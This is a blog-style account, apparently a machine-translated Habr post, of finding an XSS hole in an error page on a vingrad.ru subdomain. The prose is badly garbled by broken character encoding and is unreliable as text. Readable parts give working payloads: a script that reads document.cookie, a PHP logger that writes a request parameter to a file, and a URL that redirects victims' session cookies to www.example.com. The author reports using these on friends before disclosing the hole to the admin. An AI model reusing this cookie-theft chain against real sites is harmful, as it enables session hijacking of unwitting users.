рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕

рдордВрдЪ рдХрд╛ рд▓реЛрдЧреЛ рдЕрдкрдиреЗ рдЬреАрд╡рди рдореЗрдВ рдХрдо рд╕реЗ рдХрдо рдПрдХ рдмрд╛рд░ рд╣рдмреНрд░рд╛рдпреБрдЬрд░реНрд╕ рдПрдХ XSS рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде рдорд┐рд▓реЗ, рдпрд╣ рдПрдХ рд╡реНрдпрд╡рд╕рд╛рдп рдХрд╛рд░реНрдб рд╕рд╛рдЗрдЯ, рдмреНрд▓реЙрдЧ рдЖрджрд┐ рдкрд░ рднреЗрджреНрдпрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рд╣рдореЗрдВ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдерд╛ рдХрд┐ рдпреИрдВрдбреЗрдХреНрд╕ , рдореЗрд▓ , рдпреВрдЯреНрдпреВрдм рдЬреИрд╕реЗ рджрд┐рдЧреНрдЧрдЬ рдЗрд╕ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдереЗ , рд▓реЗрдХрд┐рди chelovekdimka рдХреЗ рд▓реЗрдЦреЛрдВ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдиреЗ рд╣рдореЗрдВ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЖрд╢реНрд╡рд╕реНрдд рдХрд┐рдпрд╛ ред

рд▓реЗрдХрд┐рди рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рдХреЛ рд╕рдорд░реНрдкрд┐рдд рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рд░рдиреЗрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдкрд░ рд╕реНрдерд┐рддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?! рдХреМрди рдкрд░рд╡рд╛рд╣ рдХрд░рддрд╛ рд╣реИ - рд╕реНрд╡рд╛рдЧрдд рд╣реИ ред

рдпрд╣ рд╕рдм рдХреИрд╕реЗ рд╢реБрд░реВ рд╣реБрдЖ


рд╕рд┐рддрдВрдмрд░ 2009 рдореЗрдВ рдпрд╛рд░реНрдб рдореЗрдВ рдерд╛ред рдореИрдВ, рдПрдХ рд╣рд░реЗ рдФрд░ рд╕реНрдиреЛрдЯреА рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░, рдХреЛ PHP рдЕрдиреБрднрд╛рдЧ рдХреЗ рд╕рд╣-рдореЙрдбрд░реЗрдЯрд░ рдХрд╛ рдкрдж рдорд┐рд▓рд╛ред рдПрдХ рд╣рд╛рдереА рдХреЗ рд░реВрдк рдореЗрдВ рдЦреБрд╢ рдЕрд╡рд╕рд░реЛрдВ рдХреА рдЦреЛрдЬ рдХрд░ рд░рд╣рд╛ рдерд╛, рдЬрдм рдЕрдЪрд╛рдирдХ рдореБрдЭреЗ рдПрдХ рдкрд╛рдЧрд▓ рд╡рд┐рдЪрд╛рд░ рд╕реЗ рджреМрд░рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ - "рдХреНрдпрд╛ рдореБрдЭреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдордВрдЪ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП?"
рдореИрдВ SQL рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛ рд╕рдХрд╛, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ XSS рдкрд╛рдпрд╛ред

рдПрдХреНрд╕рдПрд╕рдПрд╕ - рдпрд╣ рдХреНрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рдЦрд╛рддреА рд╣реИ!

XSS рд╣рдорд▓рд╛ рд╡реЗрдм рдкрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╕реВрдЪрдирд╛ рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреА рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рд╣реИред XSS рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдЖрддреЗ рд╣реИрдВред рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреА рдЦрд╝рд╛рд╕рд┐рдпрдд рдпрд╣ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реАрдзреЗ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╡реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░ рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

рд╡реЗ рд╕рд╢рд░реНрдд рд░реВрдк рд╕реЗ рджреЛ рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИрдВ:

рдЦреЛрдЬ рдлреЛрд░рдо


рдПрди-рдШрдВрдЯреЛрдВ рдХреЗ рдЕрдзреНрдпрдпрди рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдВрдЬрди рдХреЛ рдкреАрдбрд╝рд╛ рджреЗрдиреЗ рдХреЗ рдмрд╛рдж, рдореЗрд░реЗ рд╣рд╛рде рдЧрд┐рд░ рдЧрдПред рдФрд░ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдЗрддрдирд╛ рд░рд╕рдкреВрд░реНрдг рдирд╣реАрдВ рд▓рдЧрдиреЗ рд▓рдЧрд╛ред рдФрд░ рдлрд┐рд░ рдкрд╛рдЧрд▓ рд╕реЛрдЪрд╛ рдирдВрдмрд░ 2 - "рдЕрдЧрд░ рдордВрдЪ рдЦреБрдж рдЙрдзрд╛рд░ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рджреВрд╕рд░реА рддрд░рдл рдХреЗ рдкреАрдЫреЗ рд╕реЗ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред"
рдлрд┐рд░ рднреА, рдлреЛрд░рдо рд╕рдВрд╢реЛрдзрди рдкрд╛рд╡рд░ рдмреЛрд░реНрдб рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рд╕рднреА рдкреИрдЪ рддрдм рддрдХ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдП рдЧрдП рдереЗред


рдЕрдиреБрдХреВрд▓ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ (* .vingrad.ru)


рдореЗрд░рд╛ рдзреНрдпрд╛рди рдЬреНрдЮрд╛рдирдХреЛрд╖, рдЕрд░реНрдерд╛рддреН, рдЦреЛрдЬ рдХреНрд╖реЗрддреНрд░ рдФрд░ рдЕрдЪреНрдЫреЗ рдХрд╛рд░рдг рд╕реЗ рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдореЗрд░реЗ рдкрд╕рдВрджреАрджрд╛ <рд╕реНрдХреНрд░рд┐рдкреНрдЯ> рдЕрд▓рд░реНрдЯ ('XSS') рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж </ script> рдлрд╝реАрд▓реНрдб рдореЗрдВ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВ, рдореБрдЭреЗ ... рдХреБрдЫ рднреА рдирд╣реАрдВ рдорд┐рд▓рд╛ред рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдереЛрдбрд╝рд╛ рдЦреЗрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рддреНрд░реБрдЯрд┐.php рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдкрд╛рда рд╕рд╛рдорд╛рдиреНрдп GET рдореЗрдВ рдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд▓рд╛рдн!

рдХрд▓рд╛рдИ рдХреА рдПрдХ рдЪрдВрдЪрд▓рддрд╛ рдХреЗ рд╕рд╛рде, рдкрддрд╛ рдмрд╛рд░ рдореЗрдВ рдбреЗрдЯрд╛ рддреБрд░рдВрдд http: // <subdomain> .vingrad.ru / error.php? Msg = <script> рдЕрд▓рд░реНрдЯ ('XSS') рдореЗрдВ рдмрджрд▓ рдЧрдпрд╛; </ script> рдФрд░ рдХрд╛рдВрдкрддреЗ рд╣рд╛рде рдкреНрд░рд╡реЗрд╢ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдЧрдПред
рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЦреБрдж рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рдЪреБрдХреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╣реБрдЖ рдерд╛, рд▓реЗрдХрд┐рди рдЕрднреА рднреА:
XSS
рд▓рдЧрднрдЧ 10 рдорд┐рдирдЯ рдХреЗ рд▓рд┐рдП рдореИрдВ рдПрдХ рдореВрд░реНрдЦ рдХреА рддрд░рд╣ рд╕реНрдХреНрд░реАрди рдкрд░ рдореБрд╕реНрдХреБрд░рд╛рдпрд╛ рдФрд░ рд╢рд╛рд╢реНрд╡рдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрд╛ред


рдХреНрдпрд╛ "рд▓рд╛рдн" рдирд┐рдХрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ?


рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдореИрдВ рдирд╣реАрдВ рдЪрд╛рд╣рддрд╛ рдерд╛ рдФрд░ рдХрд┐рд╕реА рднреА рд▓рд╛рдн рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рдерд╛, рдореИрдВ рд╕рд┐рд░реНрдл рдПрдХ рдкрдВрдЬреАрдХреГрдд рдХрдВрдкрдиреА рдХреА рдХреБрдХреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛)
рд▓реЗрдХрд┐рди рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдлреЙрд░реНрдо рдиреЗ рдореБрдЭреЗ рднреНрд░рдорд┐рдд рдХрд░ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореИрдВ рдордВрдЪ рдкрд░ рдЕрдзрд┐рдХреГрдд рд╣реВрдВред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдХрд┐рд╕реА рддрд░рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рд╣реА рд╣рдорд╛рд░реЗ рдкрддреЗ рдкрд░ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛ред рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдореЗрдВ, рдореИрдВ рдПрдХ рдкреВрд░реНрдг рд╢реВрдиреНрдп рд╣реВрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдХрд╛рдлреА рдерд╛:

рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рд╕рднреА рдЙрдк-рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреА рдЧрдИрдВ - * .vingrad.ru)ред

рд╣рдо рдЗрд╕рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдмрджрд▓рддреЗ рд╣реИрдВ:
http: // <subdomain> .vingrad.ru / error.php? msg = <script> document.write (document.cookie.substring (0, document.cookie.length)) </ script>
рдФрд░ рд╣рдореЗрдВ рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рдкреНрд░рддреАрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдорд┐рд▓рддрд╛ рд╣реИ:
PHPSESSID = ag08ccg6fsdf5fdgsdf34a34s536df4f;
clickedFolderFrameless =;
PHPSESSID = eccf4sdasbefea3c8esgdf27997d;
pforumsession_id = 3ds44554sgg6754f1dd73f27ab7ec;
pforummember_id = 007;
pforumpass_hash = u3457a1259a39asb2ad4c77e682;


рднреЗрджреНрдпрддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░реЗрдВ


рдПрдХ рдЫреЛрдЯреА рд╕реА PHP рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдХреАрдЬрд╝ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬрддреА рд╣реИ:
<?php if( isset( $_GET['q'] ) ) { $fopen = fopen( time().'.cookie', 'w' ); fwrite( $fopen, $_GET['q'] ); fclose( $fopen ); } header('Location: http://forum.vingrad.ru/forum/act-idx.html'); ?> 

рдФрд░ рдЕрдВрддрд┐рдо рд╕рдВрд╢реЛрдзрд┐рдд рдЕрдиреБрд░реЛрдз:
http: // <subdomain> .vingrad.ru / error.php? msg = <script> document.location.href = 'http: //www.example.com/forum.php? vingrad ='% 2Bescape (рджрд╕реНрддрд╛рд╡реЗрдЬрд╝) рдХреБрдХреАред substring (0, document.cookie.length)) </ script>
рдХрдИ рдорд┐рддреНрд░реЛрдВ рдХреА рдХреБрдХреАрдЬрд╝ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ)
рдХреЛрдИ рдЪрдорддреНрдХрд╛рд░ рдирд╣реАрдВ рд╣реИ, рдкреНрд░рдпреЛрдЧ рдореЗрдВ рд╕рднреА рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдПрдХ рд▓рд┐рдВрдХ рднреЗрдЬрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рд╡реЗ рдкрд╛рд░ рд╣реЛ рдЧрдПред

рдЕрдВрдд


рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдЙрд╕рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рд╣рдордиреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ред
рд╕рднреА рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдлреА рдорд╛рдВрдЧреА рдЧрдИред
рдХрд┐рд╕реА рдХреЛ рдмреБрд░рд╛ рдирд╣реАрдВ рд▓рдЧрд╛ред


рджреБрд╡рд╛рдУрдВ рдХрд╛ рдЬреЛрдбрд╝рд╛

Source: https://habr.com/ru/post/In137127/


All Articles